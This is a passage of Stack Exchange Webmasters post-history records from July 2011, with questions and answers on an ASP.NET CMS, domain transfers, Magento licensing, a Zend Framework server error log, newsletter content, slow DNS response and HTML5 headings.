  <row Id="39756" PostHistoryTypeId="2" PostId="16646" RevisionGUID="ce32950f-c06f-4668-844c-752e25488d49" CreationDate="2011-07-10T22:43:26.497" UserId="4502" Text="&lt;a href=&quot;http://www.clippersoft.net/&quot;&gt;mySimpleAds&lt;/a&gt; has geo-targeting capabilities, but as the name implies it's not going to be a match for say, OpenX on features. It's worth a look if you don't have too much need for too much advanced stuff, though." />
  <row Id="39757" PostHistoryTypeId="17" PostId="16647" RevisionGUID="1a5b27da-09c5-4d96-bbe4-87069234a65e" CreationDate="2011-07-10T23:11:56.557" UserId="-1" Comment="from http://stackoverflow.com/questions/6637423/asp-net-simple-cms" Text="" />
  <row Id="39758" PostHistoryTypeId="2" PostId="16648" RevisionGUID="9ded562c-ad06-497d-b642-ef610392ab18" CreationDate="2011-07-09T21:45:47.503" UserDisplayName="kobe" Text="Recently we had the same requirement and we did this way&#xD;&#xA;&#xD;&#xA;1) Created XML files on a separate box like a separate server it self.&#xD;&#xA;&#xD;&#xA;2) Wrote api in net to read xml files and html files and display on asp.net&#xD;&#xA;&#xD;&#xA;3) The business access the xml files directly and modify the contents&#xD;&#xA;&#xD;&#xA;4) Then can always modify the content and get a preview in QA or staging.&#xD;&#xA;&#xD;&#xA;5) We thought of going for third party CMS , but we have to change the complete website.&#xD;&#xA;&#xD;&#xA;6) The approach we are using is working pretty fine.&#xD;&#xA;&#xD;&#xA;Let me know if you need any more info , with this approach you can save money and you and your business will have full control&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39759" PostHistoryTypeId="2" PostId="16647" RevisionGUID="97934bd0-1fa3-4568-b85c-90edd828b6f8" CreationDate="2011-07-09T20:57:59.580" UserDisplayName="David Ward" Text="I have an existing ASP.NET web site. The site has a &quot;news&quot; section and I'd like to add some very simple content management functionality to that an administrator can edit the news.&#xD;&#xA;&#xD;&#xA;I had thought of using DotNetNuke.&#xD;&#xA;&#xD;&#xA; - Is this a sensible option? &#xD;&#xA; - Any pointers for adding this simple functionality? &#xD;&#xA; - Should I look at another solution?" />
  <row Id="39760" PostHistoryTypeId="1" PostId="16647" RevisionGUID="97934bd0-1fa3-4568-b85c-90edd828b6f8" CreationDate="2011-07-09T20:57:59.580" UserDisplayName="David Ward" Text="ASP.NET Simple CMS" />
  <row Id="39761" PostHistoryTypeId="3" PostId="16647" RevisionGUID="97934bd0-1fa3-4568-b85c-90edd828b6f8" CreationDate="2011-07-09T20:57:59.580" UserDisplayName="David Ward" Text="&lt;asp.net&gt;&lt;cms&gt;" />
  <row Id="39762" PostHistoryTypeId="17" PostId="16648" RevisionGUID="63088265-654d-4db4-9037-97a77297959e" CreationDate="2011-07-10T23:11:56.557" UserId="-1" Comment="from http://stackoverflow.com/questions/6637423/asp-net-simple-cms" Text="" />
  <row Id="39763" PostHistoryTypeId="17" PostId="16649" RevisionGUID="042fa59a-21f9-4f2b-9039-26bf559943fa" CreationDate="2011-07-10T23:11:56.557" UserId="-1" Comment="from http://stackoverflow.com/questions/6637423/asp-net-simple-cms" Text="" />
  <row Id="39764" PostHistoryTypeId="17" PostId="16650" RevisionGUID="e3408fc3-0401-43d5-95e8-eee1c21efc44" CreationDate="2011-07-10T23:11:56.557" UserId="-1" Comment="from http://stackoverflow.com/questions/6637423/asp-net-simple-cms" Text="" />
  <row Id="39765" PostHistoryTypeId="2" PostId="16649" RevisionGUID="6d2e7cbf-129a-45ee-bdbf-c01ca69f325d" CreationDate="2011-07-09T21:46:47.253" UserDisplayName="Burt" Text="There are a number of .Net CMSs to choose from&#xD;&#xA;&#xD;&#xA; - DotNetNuke&#xD;&#xA; - Umbraco&#xD;&#xA; - orchard Project&#xD;&#xA;&#xD;&#xA;To name but a few. If you are going to be building websites regularly pick one adn learn it well. A CMS will save you a lot of time in the long run." />
  <row Id="39766" PostHistoryTypeId="2" PostId="16650" RevisionGUID="bfdc921d-138c-4e33-95e1-54e0ecff05ef" CreationDate="2011-07-09T21:56:52.790" UserDisplayName="Michel" Text="a complete cms (which you have to maintain and manage) seems a little overkill i think.&#xD;&#xA;&#xD;&#xA;when you see the news messages as a simple list, you can make a simple CRUD screen for it in which you can set the visibility, showdate, enddate etc. just like any other list of items (clients, accounts, orders).&#xD;&#xA;&#xD;&#xA;for editing the (html)content you can use the ckeditor control; with that the admin user can type any html he/she wants.&#xD;&#xA;&#xD;&#xA;storage can be done in the database if you already use one, or in a simple database (sql server CE) or in xml if you want." />
  <row Id="39771" PostHistoryTypeId="2" PostId="16652" RevisionGUID="e7e3b8c1-e83a-4740-978e-4c8a7a2a624c" CreationDate="2011-07-10T23:38:37.257" UserId="8888" Text="What happens to domain expiration during transfer to a *different* registrar? &#xD;&#xA;&#xD;&#xA;Currently my domain will expire in 2012. I wonder if it will be affected in any way." />
  <row Id="39772" PostHistoryTypeId="1" PostId="16652" RevisionGUID="e7e3b8c1-e83a-4740-978e-4c8a7a2a624c" CreationDate="2011-07-10T23:38:37.257" UserId="8888" Text="domain expiration during transfer" />
  <row Id="39773" PostHistoryTypeId="3" PostId="16652" RevisionGUID="e7e3b8c1-e83a-4740-978e-4c8a7a2a624c" CreationDate="2011-07-10T23:38:37.257" UserId="8888" Text="&lt;domains&gt;&lt;registrar&gt;&lt;transfer&gt;" />
  <row Id="39774" PostHistoryTypeId="2" PostId="16653" RevisionGUID="7987cdf2-6569-4465-996a-3b93518d012c" CreationDate="2011-07-10T23:41:41.173" UserId="7198" Text="A company can charge whatever they want to install software, regardless of the software licence. They are selling a service, not a product. I could charge $20,000 to install WordPress, for example,without violating the software licence (although I never would, because it's both immoral and exploitative).&#xD;&#xA;&#xD;&#xA;Note also that Magento Community Edition is released under the [Open Software Licence,](http://opensource.org/licenses/osl-3.0.php) which allows it to be resold, so - in this case - they're perfectly within their rights to charge for the product too if they so wish .&#xD;&#xA;&#xD;&#xA;If your client is being charged a crazy fee for the product, you might point out that they can download it free of charge. And if the installation cost seems unfairly high, it would not be a bad thing to explain that they might be overpaying for the service. " />
  <row Id="39775" PostHistoryTypeId="2" PostId="16654" RevisionGUID="70d49de8-17ed-4320-a212-56f1c46dc33c" CreationDate="2011-07-11T00:13:04.157" UserId="1253" Text="The expiration date should be unaffected. However, many registrars require you to add another year to your registration when you transfer over to their services." />
  <row Id="39776" PostHistoryTypeId="25" PostId="16645" RevisionGUID="cfcefa3e-3a7a-4b92-9be9-b772e90124dd" CreationDate="2011-07-11T00:30:12.493" Comment="http://twitter.com/#!/StackWebmasters/status/90216277280440320" />
  <row Id="39777" PostHistoryTypeId="5" PostId="16654" RevisionGUID="fb25ca17-d030-46cf-bc64-94d557604ffb" CreationDate="2011-07-11T01:10:46.587" UserId="1253" Comment="added 66 characters in body" Text="The expiration date should be unaffected. However, many registrars require you to add another year to your registration when you transfer over to their services. But it will never expire sooner then its current expiration date." />
  <row Id="39778" PostHistoryTypeId="25" PostId="16628" RevisionGUID="72501ae8-849d-4c32-86fe-1c63ecd5afe9" CreationDate="2011-07-11T03:31:16.563" Comment="http://twitter.com/#!/StackWebmasters/status/90261843708358657" />
  <row Id="39780" PostHistoryTypeId="25" PostId="16652" RevisionGUID="58c611b8-3245-4994-843e-f2d1c80d7e0b" CreationDate="2011-07-11T06:31:16.440" Comment="http://twitter.com/#!/StackWebmasters/status/90307144859136000" />
  <row Id="39781" PostHistoryTypeId="2" PostId="16655" RevisionGUID="4ee6248b-c32d-47f3-87d1-4166611f5f63" CreationDate="2011-07-11T06:58:33.010" UserId="5134" Text="I tried to host a zend-framework project, My service provider told they don't installed zend-framework but I have integrated the framework as a library on the project. &#xD;&#xA;&#xD;&#xA;After uploading everything and configuring the database connection  i Got  `Internal Server Error` message. When i tested the server uploading `html` file it work fine.&#xD;&#xA;&#xD;&#xA;Since i don't have the Apache server accessing privilege, How can i fix &#xD;&#xA;&#xD;&#xA;Please let me know if you need more info.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39782" PostHistoryTypeId="1" PostId="16655" RevisionGUID="4ee6248b-c32d-47f3-87d1-4166611f5f63" CreationDate="2011-07-11T06:58:33.010" UserId="5134" Text="Since i don't have server access privilege How can i fix Internal Server Error" />
  <row Id="39783" PostHistoryTypeId="3" PostId="16655" RevisionGUID="4ee6248b-c32d-47f3-87d1-4166611f5f63" CreationDate="2011-07-11T06:58:33.010" UserId="5134" Text="&lt;apache&gt;&lt;server&gt;&lt;error&gt;" />
  <row Id="39785" PostHistoryTypeId="2" PostId="16657" RevisionGUID="298a4a49-c8c2-409d-a03c-a1839a4add13" CreationDate="2011-07-11T08:22:38.867" UserId="8891" Text="&gt; The community edition doesn't have the secure payment bridge which helps with PCI &#xD;&#xA;&gt; compliance&#xD;&#xA;&#xD;&#xA;There is a PA-DSS certified solution for Magento CE - &#xD;&#xA;http://www.magentocommerce.com/magento-connect/kuzzma/extension/4110/cdev_xpaymentsconnector&#xD;&#xA;&#xD;&#xA;The connector module is free, but vendor asks ~$400 for X-Payments&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; If you're using paypal primarily, then all you need is community. &#xD;&#xA;&#xD;&#xA;Depends on what PayPal method you are going to use.&#xD;&#xA;For PayPal Website Payments Pro, PayPal Website Payments Pro Payflow Edition and PayPal PayFlow Pro where a payer enters credit card info right on your web-site you are to use a PA-DSS certified software otherwise you can be fined by your bank/merchant account provider. While they do not impose these regulations strictly at the moment we see more merchants being penalized for accepting credit card directly and not using a PA-DSS compliant software.&#xD;&#xA;&#xD;&#xA;Migration to a &quot;web-based&quot; payment gateway where customers go to payment gateway's secure web-form for payment is another and much more cost-effective solution in this situation. Though in some cases such distraction (i.e. moving a customer from your web-site to payment gateway web-site) may influence conversion rates negatively." />
  <row Id="39786" PostHistoryTypeId="5" PostId="16655" RevisionGUID="4fd16ee1-2829-48cb-a5c3-3844919f48a2" CreationDate="2011-07-11T08:26:24.667" UserId="5134" Comment="added 87 characters in body" Text="I was trying to host a zend-framework project on new host provider.&#xD;&#xA;After uploading everything and configuring the database connection I have encountered  `Internal Server Error` message.     My service provider told they don't installed zend-framework but I have integrated the framework as a library into the project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; When i tested the server uploading `html` file it work fine.&#xD;&#xA;&#xD;&#xA;Since i don't have the Apache server accessing privilege, How can i fix that? &#xD;&#xA;&#xD;&#xA;Please let me know if you need more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/AEAef.png" />
  <row Id="39787" PostHistoryTypeId="5" PostId="16655" RevisionGUID="12b06512-e8ac-442c-83f3-a43e93f8d8ba" CreationDate="2011-07-11T08:34:28.077" UserId="5134" Comment="added 1444 characters in body" Text="I was trying to host a zend-framework project on new host provider.&#xD;&#xA;After uploading everything and configuring the database connection I have encountered  `Internal Server Error` message.     My service provider told they don't installed zend-framework but I have integrated the framework as a library into the project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; When i tested the server uploading `html` file it work fine.&#xD;&#xA;&#xD;&#xA;Since i don't have the Apache server accessing privilege, How can i fix that? &#xD;&#xA;&#xD;&#xA;**error log**:&#xD;&#xA;&#xD;&#xA;    #0 /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Mysql.php(96): Zend_Db_Adapter_Pdo_Abstract-&gt;_connect()&#xD;&#xA;    #1 /home/myweb/public_html/library/Zend/Db/Adapter/Abstract.php(448): Zend_Db_Adapter_Pdo_Mysql-&gt;_connect()&#xD;&#xA;    #2 /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Abstract.php(238): Zend_Db_Adapter_Abstract-&gt;query('SET NAMES 'utf8...', Array)&#xD;&#xA;    #3 /home/myweb/public_html/application/Bootstrap.php(144): Zend_Db_Adapter_Pdo_Abstract-&gt;query('SET NAMES 'utf8...')&#xD;&#xA;    #4 /home/myweb/public_html/library/Zend/Application/Bootstrap/BootstrapAbstract.php(666): Bootstrap-&gt;_initDb()&#xD;&#xA;    #5 /home/myweb/public_html/library/Zend/Application/Bootstrap/BootstrapAbstract.php(619): Zend_Application_Bootstrap_BootstrapAbstract-&gt;_executeResource('db')&#xD;&#xA;    #6 /home/myweb/public_html/library/Zend/Application/Bootstrap/BootstrapAbstr in /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Abstract.php on line 112&#xD;&#xA;    [11-Jul-2011 07:35:51] PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so: undefined symbol: php_pdo_unregister_driver in Unknown on line 0&#xD;&#xA;    [11-Jul-2011 07:35:51] PHP Fatal error:  Uncaught exception 'Zend_Db_Adapter_Exception' with message 'The mysql driver is not currently installed' in /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Abstract.php:112&#xD;&#xA;    Stack trace:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/AEAef.png" />
  <row Id="39788" PostHistoryTypeId="2" PostId="16658" RevisionGUID="b1914cec-7519-4263-9595-6201f3dbd938" CreationDate="2011-07-11T08:53:28.230" UserId="7588" Text="From my reading of the error message:&#xD;&#xA;&#xD;&#xA;`Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so'`&#xD;&#xA;&#xD;&#xA;Looks like your server is missing some extensions. I suggest that you pay the extra for a Virtual Private Server where you will be able to install them." />
  <row Id="39789" PostHistoryTypeId="2" PostId="16659" RevisionGUID="361bcd07-a0f7-45be-8c1a-f21d2b084b50" CreationDate="2011-07-11T08:54:33.210" UserId="7198" Text="Your error log shows that the Zend framework can't find the PDO MySQL driver it needs to connect to the MySQL server. This could be for a couple of reasons:&#xD;&#xA;&#xD;&#xA;1. It's possible your server is running an old version of PHP. (The PDO class is only included in PHP 5.1 or later.) Check what version you're running by creating a file called 'info.php' containing the following code, and opening that file in your browser:&#xD;&#xA;&#xD;&#xA;        &lt;?php phpinfo(); ?&gt;&#xD;&#xA;&#xD;&#xA;  Delete this file as soon as you've checked the PHP version so that others can't access it. If you're not using PHP 5.1, ask your hosting company to install it for you. If you are using PHP 5.1, read on. &#xD;&#xA;2. Your hosting company doesn't have the PDO MySQL driver installed. You could contact them with the contents of your error log and ask them to install the driver, or use a different  hosting company who includes the PDO MySQL driver (or, even better, one that specifically names the Zend framework in their list of supported modules).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39790" PostHistoryTypeId="2" PostId="16660" RevisionGUID="45dc84f6-1f0f-4252-9e26-1fb894d9d788" CreationDate="2011-07-11T08:55:05.223" UserId="7801" Text="We've just launched our new website and we're looking to include a newsletter that will be sent out once a quarter. We're struggling a bit for idea's on what to include in the newsletter.&#xD;&#xA;&#xD;&#xA;There's the usually &quot;recent projects&quot; and any news regarding the company but we're trying to avoid it being &quot;me, me, me&quot;!&#xD;&#xA;&#xD;&#xA;Has anyone got some nice examples or any idea's of some thing's to include." />
  <row Id="39791" PostHistoryTypeId="1" PostId="16660" RevisionGUID="45dc84f6-1f0f-4252-9e26-1fb894d9d788" CreationDate="2011-07-11T08:55:05.223" UserId="7801" Text="Idea's on newsletter content for a graphic/web company?" />
  <row Id="39792" PostHistoryTypeId="3" PostId="16660" RevisionGUID="45dc84f6-1f0f-4252-9e26-1fb894d9d788" CreationDate="2011-07-11T08:55:05.223" UserId="7801" Text="&lt;newsletter&gt;" />
  <row Id="39793" PostHistoryTypeId="5" PostId="16655" RevisionGUID="6f4e8f64-e4cd-4ddb-aeb5-bb3b066b9f0e" CreationDate="2011-07-11T08:58:11.163" UserId="7198" Comment="deleted 4 characters in body; edited title" Text="I was trying to host a zend-framework project on new host provider.&#xD;&#xA;After uploading everything and configuring the database connection I have encountered  `Internal Server Error` message. My service provider told they don't installed zend-framework but I have integrated the framework as a library into the project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; When i tested the server uploading `html` file it work fine.&#xD;&#xA;&#xD;&#xA;Since i don't have the Apache server accessing privilege, How can i fix that? &#xD;&#xA;&#xD;&#xA;**error log**:&#xD;&#xA;&#xD;&#xA;    #0 /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Mysql.php(96): Zend_Db_Adapter_Pdo_Abstract-&gt;_connect()&#xD;&#xA;    #1 /home/myweb/public_html/library/Zend/Db/Adapter/Abstract.php(448): Zend_Db_Adapter_Pdo_Mysql-&gt;_connect()&#xD;&#xA;    #2 /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Abstract.php(238): Zend_Db_Adapter_Abstract-&gt;query('SET NAMES 'utf8...', Array)&#xD;&#xA;    #3 /home/myweb/public_html/application/Bootstrap.php(144): Zend_Db_Adapter_Pdo_Abstract-&gt;query('SET NAMES 'utf8...')&#xD;&#xA;    #4 /home/myweb/public_html/library/Zend/Application/Bootstrap/BootstrapAbstract.php(666): Bootstrap-&gt;_initDb()&#xD;&#xA;    #5 /home/myweb/public_html/library/Zend/Application/Bootstrap/BootstrapAbstract.php(619): Zend_Application_Bootstrap_BootstrapAbstract-&gt;_executeResource('db')&#xD;&#xA;    #6 /home/myweb/public_html/library/Zend/Application/Bootstrap/BootstrapAbstr in /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Abstract.php on line 112&#xD;&#xA;    [11-Jul-2011 07:35:51] PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so: undefined symbol: php_pdo_unregister_driver in Unknown on line 0&#xD;&#xA;    [11-Jul-2011 07:35:51] PHP Fatal error:  Uncaught exception 'Zend_Db_Adapter_Exception' with message 'The mysql driver is not currently installed' in /home/myweb/public_html/library/Zend/Db/Adapter/Pdo/Abstract.php:112&#xD;&#xA;    Stack trace:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/AEAef.png" />
  <row Id="39794" PostHistoryTypeId="4" PostId="16655" RevisionGUID="6f4e8f64-e4cd-4ddb-aeb5-bb3b066b9f0e" CreationDate="2011-07-11T08:58:11.163" UserId="7198" Comment="deleted 4 characters in body; edited title" Text="How can I diagnose an Internal Server Error?" />
  <row Id="39795" PostHistoryTypeId="5" PostId="16660" RevisionGUID="d7616aff-457f-4a7f-a1e6-c94a3ed0ca23" CreationDate="2011-07-11T09:03:32.983" UserId="7198" Comment="deleted 3 characters in body; edited tags; edited title" Text="We've just launched our new website and we're looking to include a newsletter that will be sent out once a quarter. We're struggling a bit for ideas on what to include in the newsletter.&#xD;&#xA;&#xD;&#xA;There's the usually &quot;recent projects&quot; and any news regarding the company but we're trying to avoid it being &quot;me, me, me&quot;!&#xD;&#xA;&#xD;&#xA;Has anyone got some nice examples or any ideas of some things to include." />
  <row Id="39796" PostHistoryTypeId="4" PostId="16660" RevisionGUID="d7616aff-457f-4a7f-a1e6-c94a3ed0ca23" CreationDate="2011-07-11T09:03:32.983" UserId="7198" Comment="deleted 3 characters in body; edited tags; edited title" Text="Ideas on newsletter content for a graphic/web company?" />
  <row Id="39797" PostHistoryTypeId="6" PostId="16660" RevisionGUID="d7616aff-457f-4a7f-a1e6-c94a3ed0ca23" CreationDate="2011-07-11T09:03:32.983" UserId="7198" Comment="deleted 3 characters in body; edited tags; edited title" Text="&lt;marketing&gt;&lt;newsletter&gt;" />
  <row Id="39798" PostHistoryTypeId="4" PostId="16660" RevisionGUID="a2d20c93-5cf4-44f7-8e78-019dd20928b6" CreationDate="2011-07-11T09:06:31.797" UserId="7801" Comment="grammar" Text="Ideas for newsletter content for a graphic/web company?" />
  <row Id="39799" PostHistoryTypeId="5" PostId="16660" RevisionGUID="a2d20c93-5cf4-44f7-8e78-019dd20928b6" CreationDate="2011-07-11T09:06:31.797" UserId="7801" Comment="grammar" Text="We've just launched our new website and we're looking to include a newsletter that will be sent out once a quarter. We're struggling a bit for ideas on what to include in the newsletter.&#xD;&#xA;&#xD;&#xA;There's the usual &quot;recent projects&quot; and any news regarding the company but we're trying to avoid it being &quot;me, me, me&quot;!&#xD;&#xA;&#xD;&#xA;Has anyone got some nice examples or any ideas of some things to include." />
  <row Id="39800" PostHistoryTypeId="2" PostId="16661" RevisionGUID="19fceb61-cb8a-4661-b64e-6399d84b17cd" CreationDate="2011-07-11T09:11:52.573" UserId="7198" Text="Some things I've included:&#xD;&#xA;&#xD;&#xA; - &quot;How-to&quot; guides. (e.g. Getting started with email marketing/adding social media buttons to your site/how to build traffic etc.)&#xD;&#xA; - Case studies of recent work. (This is the problem they had. This is how we solved it. These are the benefits it brought. Want this feature on your site? Get in touch!)&#xD;&#xA; - Special offers and discounts.&#xD;&#xA; - Invitations to complete surveys/offer feedback and testimonials.&#xD;&#xA; - Summaries of news and distractions from around the Web. (e.g. &quot;What we're watching/reading/tweeting etc.&quot;)&#xD;&#xA;&#xD;&#xA;In short, there are ways to promote yourselves while still being helpful and entertaining, largely by focussing on your clients and what would help them. Think about the newsletters you enjoy reading and analyse the content in those." />
  <row Id="39801" PostHistoryTypeId="25" PostId="16660" RevisionGUID="5d145135-03f0-4c96-a55a-dcbe11c1bbf7" CreationDate="2011-07-11T09:31:17.553" Comment="http://twitter.com/#!/StackWebmasters/status/90352447486308353" />
  <row Id="39802" PostHistoryTypeId="2" PostId="16662" RevisionGUID="3485d53b-2e5b-4635-a859-d33a2f956b9f" CreationDate="2011-07-11T11:02:16.173" UserId="5727" Text="I have pingdom monitor on my website:&#xD;&#xA;&#xD;&#xA;http://stats.pingdom.com/t68xhgex256f/375513&#xD;&#xA;&#xD;&#xA;For North America (big target market) the DNS says 1-2 seconds.  I'd like to make it &lt;500ms no matter where you are in the world.&#xD;&#xA;&#xD;&#xA;Is there anything I can do?  The server is located in the UK. Also, is this 2s DNS lookup only for initial request (visitors then probably have it cached) or is it every request?" />
  <row Id="39803" PostHistoryTypeId="1" PostId="16662" RevisionGUID="3485d53b-2e5b-4635-a859-d33a2f956b9f" CreationDate="2011-07-11T11:02:16.173" UserId="5727" Text="Slow DNS? How can I help with this issue?" />
  <row Id="39804" PostHistoryTypeId="3" PostId="16662" RevisionGUID="3485d53b-2e5b-4635-a859-d33a2f956b9f" CreationDate="2011-07-11T11:02:16.173" UserId="5727" Text="&lt;dns&gt;&lt;dns-servers&gt;" />
  <row Id="39805" PostHistoryTypeId="2" PostId="16663" RevisionGUID="8559b048-7db6-435b-9ff6-b41cdd81f519" CreationDate="2011-07-11T11:07:10.197" UserId="1643" Text="(I can't see your DNS figures on that page.) You can use a different DNS provider which provides a better service, you don't have to use the one that comes with your hosting or your domain name registrar.&#xD;&#xA;&#xD;&#xA;Yes, it gets cached, so it's not every request." />
  <row Id="39806" PostHistoryTypeId="5" PostId="16662" RevisionGUID="2c908a7c-720d-40a2-bb72-15d6b100fc73" CreationDate="2011-07-11T11:19:05.443" UserId="5727" Comment="deleted 112 characters in body; edited title" Text="I have pingdom monitor on my website:&#xD;&#xA;&#xD;&#xA;http://stats.pingdom.com/t68xhgex256f/375513&#xD;&#xA;&#xD;&#xA;For North America (big target market) the response time is 1-2 seconds.  This is far too slow.  My site URL is http://www.scirra.com (feel free to edit out if this isn't allowed).&#xD;&#xA;&#xD;&#xA;Is there anything I can do?  The server is located in the UK, so distance plays a big part I imagine." />
  <row Id="39807" PostHistoryTypeId="4" PostId="16662" RevisionGUID="2c908a7c-720d-40a2-bb72-15d6b100fc73" CreationDate="2011-07-11T11:19:05.443" UserId="5727" Comment="deleted 112 characters in body; edited title" Text="Slow website response? How can I help with this issue?" />
  <row Id="39808" PostHistoryTypeId="5" PostId="16662" RevisionGUID="9da0d966-8922-4dee-84fb-9bdc8ccaca51" CreationDate="2011-07-11T11:47:09.350" UserId="1253" Comment="deleted 83 characters in body; edited title" Text="I have pingdom monitor on my website:&#xD;&#xA;&#xD;&#xA;http://stats.pingdom.com/t68xhgex256f/375513&#xD;&#xA;&#xD;&#xA;For North America (big target market) the response time is 1-2 seconds.  This is far too slow.  &#xD;&#xA;&#xD;&#xA;Is there anything I can do?  The server is located in the UK, so distance plays a big part I imagine." />
  <row Id="39809" PostHistoryTypeId="4" PostId="16662" RevisionGUID="9da0d966-8922-4dee-84fb-9bdc8ccaca51" CreationDate="2011-07-11T11:47:09.350" UserId="1253" Comment="deleted 83 characters in body; edited title" Text="Slow website response? How can I fix this issue?" />
  <row Id="39811" PostHistoryTypeId="6" PostId="16662" RevisionGUID="3a6426e5-8c91-4b48-8f7f-3328d903c12e" CreationDate="2011-07-11T11:53:55.333" UserId="5727" Comment="edited tags" Text="&lt;dns&gt;&lt;speed&gt;&lt;page-speed&gt;&lt;load-time&gt;&lt;dns-servers&gt;" />
  <row Id="39812" PostHistoryTypeId="2" PostId="16664" RevisionGUID="a1cf9691-b1a2-4282-9a4e-fdf1be57b446" CreationDate="2011-07-11T12:14:45.903" UserId="8687" Text="Parking a domain ontop of another domain is usually done using DNS plus some settings in the web server. Most hosting companies have an option in their control panels that allows you to easily park a domain on top of another. In addition to setting up on your host control panel you will need to edit the nameserver or DNS settings at the domain register.&#xD;&#xA;&#xD;&#xA;If you name your hosting company and domain registration companies we will be able to give you a more precise answer." />
  <row Id="39813" PostHistoryTypeId="25" PostId="16655" RevisionGUID="d297af82-02a8-4539-b258-f0e5b80677a4" CreationDate="2011-07-11T12:31:18.570" Comment="http://twitter.com/#!/StackWebmasters/status/90397748846796800" />
  <row Id="39814" PostHistoryTypeId="2" PostId="16665" RevisionGUID="1444e8d7-6133-42c7-bbb7-f8233edcc0f5" CreationDate="2011-07-11T12:36:25.230" UserId="5026" Text="Anyone have a recommendation for a platform or plugin (free or commercial) to allow the sale of photographic downloads and prints?&#xD;&#xA;&#xD;&#xA;I'm not really interested in a hosted solution unless that solution is a stand-out.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="39815" PostHistoryTypeId="1" PostId="16665" RevisionGUID="1444e8d7-6133-42c7-bbb7-f8233edcc0f5" CreationDate="2011-07-11T12:36:25.230" UserId="5026" Text="Photography eCommerce platform" />
  <row Id="39816" PostHistoryTypeId="3" PostId="16665" RevisionGUID="1444e8d7-6133-42c7-bbb7-f8233edcc0f5" CreationDate="2011-07-11T12:36:25.230" UserId="5026" Text="&lt;ecommerce&gt;&lt;shopping-cart&gt;&lt;photo-gallery&gt;&lt;photo&gt;" />
  <row Id="39817" PostHistoryTypeId="2" PostId="16666" RevisionGUID="b06b4b00-b994-4652-8768-52c60d7609d7" CreationDate="2011-07-11T12:47:06.580" UserId="8687" Text="The solution to your semantics problem is to write the page in HTML5 which supports using multiple `&lt;h1&gt;` tags on a page. The page header is marked up inside &lt;header&gt; tags and the main blog article is marked up in `&lt;article&gt;` tags. In this way the search engines can understand the true relationship of the h1 tag and the content of the site.&#xD;&#xA;&#xD;&#xA;If you want to stick to HTML4 then you can only use the `&lt;h1&gt;` tag once in the page. So it would be best to use that tag only for the article's title rather than the site title. You should mark up the site title using a suitably lower order header tag ( `&lt;h2&gt;`, `&lt;h3&gt;`, etc.) or in a `&lt;p&gt;` tag. You should not use a `&lt;span&gt;` as that is an inline tag and you need a block level tag to surround it.&#xD;&#xA;&#xD;&#xA;If you desperately don't want to have a `&lt;p&gt;` tag at the top of the html code there is something you can do. If you use css positioning, you can position the site title at the top of the page while locating the html further down the page. I used to do this for some of my sites where I wanted the article to be first in the html and the nav and headers at the bottom of the html. I could then use css positioning to put the nav on the left and the header at the top of the visible page." />
  <row Id="39818" PostHistoryTypeId="5" PostId="16665" RevisionGUID="ce293a93-1f8e-4cba-873e-0c1c0c0fb7f3" CreationDate="2011-07-11T13:02:29.690" UserId="1253" Comment="modifed tags, minor text edits" Text="Anyone have a recommendation for a platform or plugin (free or commercial) to allow the sale of photographic downloads and prints?&#xD;&#xA;&#xD;&#xA;I'm not really interested in a hosted solution unless that solution is a stand-out.&#xD;&#xA;" />
  <row Id="39819" PostHistoryTypeId="6" PostId="16665" RevisionGUID="ce293a93-1f8e-4cba-873e-0c1c0c0fb7f3" CreationDate="2011-07-11T13:02:29.690" UserId="1253" Comment="modifed tags, minor text edits" Text="&lt;looking-for-a-script&gt;&lt;ecommerce&gt;&lt;shopping-cart&gt;&lt;photo-gallery&gt;" />
  <row Id="39820" PostHistoryTypeId="2" PostId="16667" RevisionGUID="20b5e508-6786-4156-bfce-83334ab816e3" CreationDate="2011-07-11T13:34:33.047" UserId="7198" Text="Before concluding that your DNS servers are slow, it's best to gather some evidence.&#xD;&#xA;&#xD;&#xA;To determine the speed of the DNS lookup from a computer based in the US, we can use the Unix 'dig' command, or a [web-based dig service](http://www.webmaster-toolkit.com/dig.shtml?address=scirra.com) based in the US, which gives us this response:&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P1 &lt;&lt;&gt;&gt; scirra.com&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 39135&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;scirra.com.			IN	A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    scirra.com.		3600	IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; AUTHORITY SECTION:&#xD;&#xA;    scirra.com.	